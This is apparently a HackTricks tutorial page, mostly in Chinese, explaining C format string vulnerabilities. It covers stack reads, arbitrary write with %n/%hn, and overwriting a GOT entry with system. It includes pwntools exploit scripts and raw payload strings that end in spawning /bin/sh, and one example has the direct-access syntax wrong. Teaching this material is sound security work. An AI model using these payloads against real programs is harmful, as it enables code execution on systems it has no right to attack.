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# 格式化字符串
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
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</details>
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## 基本信息
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在C语言中，**`printf`** 是一个用于**打印**字符串的函数。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是要从原始文本中**替换**格式化符号的**值**。
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当将**攻击者文本用作该函数的第一个参数**时，漏洞就会出现。攻击者可以利用**printf格式字符串的功能**来构造一个**特殊输入**，以读取和**写入任何地址的任何数据（可读/可写）**。从而能够**执行任意代码**。
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#### 格式化符号:
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```bash
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%08x —> 8 hex bytes
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%d —> Entire
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%u —> Unsigned
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%s —> String
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%n —> Number of written bytes
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%hn —> Occupies 2 bytes instead of 4
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<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
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```
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**示例:**
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* 可被攻击的示例:
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```c
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char buffer[30];
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gets(buffer); // Dangerous: takes user input without restrictions.
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printf(buffer); // If buffer contains "%x", it reads from the stack.
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```
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* 正常使用：
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```c
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int value = 1205;
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printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
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```
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* 缺少参数时:
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```c
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printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
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```
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### **访问指针**
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格式`%<n>$x`，其中`n`是一个数字，允许指示printf选择第n个参数（来自堆栈）。因此，如果您想使用printf读取堆栈中的第4个参数，可以执行以下操作：
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```c
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printf("%x %x %x %x")
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```
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并且您将从第一个到第四个参数中读取。
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或者您可以执行：
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```c
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printf("$4%x")
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```
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and read directly the forth.
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Notice that the attacker controls the `pr`**`intf` parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
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{% hint style="danger" %}
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An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
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{% endhint %}
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## **Arbitrary Read**
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It's possible to use the formatter **`$n%s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
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```python
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from pwn import *
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p = process('./bin')
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payload = b'%6$p' #4th param
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payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
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payload += p32(0x8048000) #6th param
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p.sendline(payload)
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log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
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```
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{% hint style="danger" %}
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请注意，您不能在输入的开头放置地址0x8048000，因为该地址的末尾将被0x00截断。
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{% endhint %}
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## **任意写入**
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格式化字符串 **`$<num>%n`** 会将**写入的字节数**写入到堆栈中的**指定地址**中的\<num>参数。如果攻击者可以使用printf写入尽可能多的字符，他将能够使**`$<num>%n`** 在任意地址中写入任意数字。
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幸运的是，要写入数字9999，不需要在输入中添加9999个"A"，为了实现这一点，可以使用格式化字符串 **`%.<num-write>%<num>$n`** 将数字**`<num-write>`**写入到由`num`位置指向的地址中。
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```bash
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AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
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AAAA.%500\$08x —> Param at offset 500
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```
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然而，请注意，通常为了写入诸如`0x08049724`这样的地址（一次写入一个巨大的数字），**会使用`$hn`**而不是`$n`。这样可以**仅写入2字节**。因此，此操作需要执行两次，一次用于地址的最高2字节，另一次用于最低的字节。
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因此，此漏洞允许**在任何地址中写入任何内容（任意写入）。**
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在此示例中，目标是**覆盖**稍后将调用的**GOT**表中**函数**的**地址**。尽管这可能会滥用其他任意写入执行技术：
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{% content-ref url="../arbitrary-write-2-exec/" %}
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[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
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{% endcontent-ref %}
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我们将**覆盖**一个**从**用户**接收其**参数**并将其指向**`system`** **函数**的**函数**。\
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如前所述，通常需要两个步骤来写入地址：**首先写入地址的2字节**，然后再写入另外2字节。为此，使用**`$hn`**。
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- **HOB** 用于地址的2个高字节
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- **LOB** 用于地址的2个低字节
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然后，由于格式字符串的工作原理，您需要**首先写入\[HOB，LOB\]中较小的那个**，然后再写入另一个。
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如果 HOB < LOB\
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`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
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如果 HOB > LOB\
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`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
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HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
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{% code overflow="wrap" %}
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```bash
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python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
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```
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{% endcode %}
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### Pwntools 模板
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您可以在以下位置找到一个**模板**，用于准备针对这种类型漏洞的利用：
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{% content-ref url="format-strings-template.md" %}
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[format-strings-template.md](format-strings-template.md)
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{% endcontent-ref %}
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或者可以参考这个基本示例[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
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```python
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from pwn import *
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elf = context.binary = ELF('./got_overwrite-32')
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libc = elf.libc
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libc.address = 0xf7dc2000 # ASLR disabled
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p = process()
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payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
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p.sendline(payload)
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p.clean()
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p.sendline('/bin/sh')
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p.interactive()
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```
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## 格式字符串到缓冲区溢出
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可以滥用格式字符串漏洞的写入操作来**写入栈上的地址**，并利用**缓冲区溢出**类型的漏洞。
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## 其他示例和参考资料
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* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
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* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
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* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
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* 32位，无relro，无canary，nx，无pie，基本使用格式字符串从栈中泄漏标志（无需更改执行流程）
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* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
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* 32位，relro，无canary，nx，无pie，格式字符串覆盖地址`fflush`为win函数（ret2win）
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* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
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* 32位，relro，无canary，nx，无pie，格式字符串写入`.fini_array`中main内的地址（使流程再次循环1次），并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时，`strlen`将使用用户输入执行，并指向`system`，将执行传递的命令。
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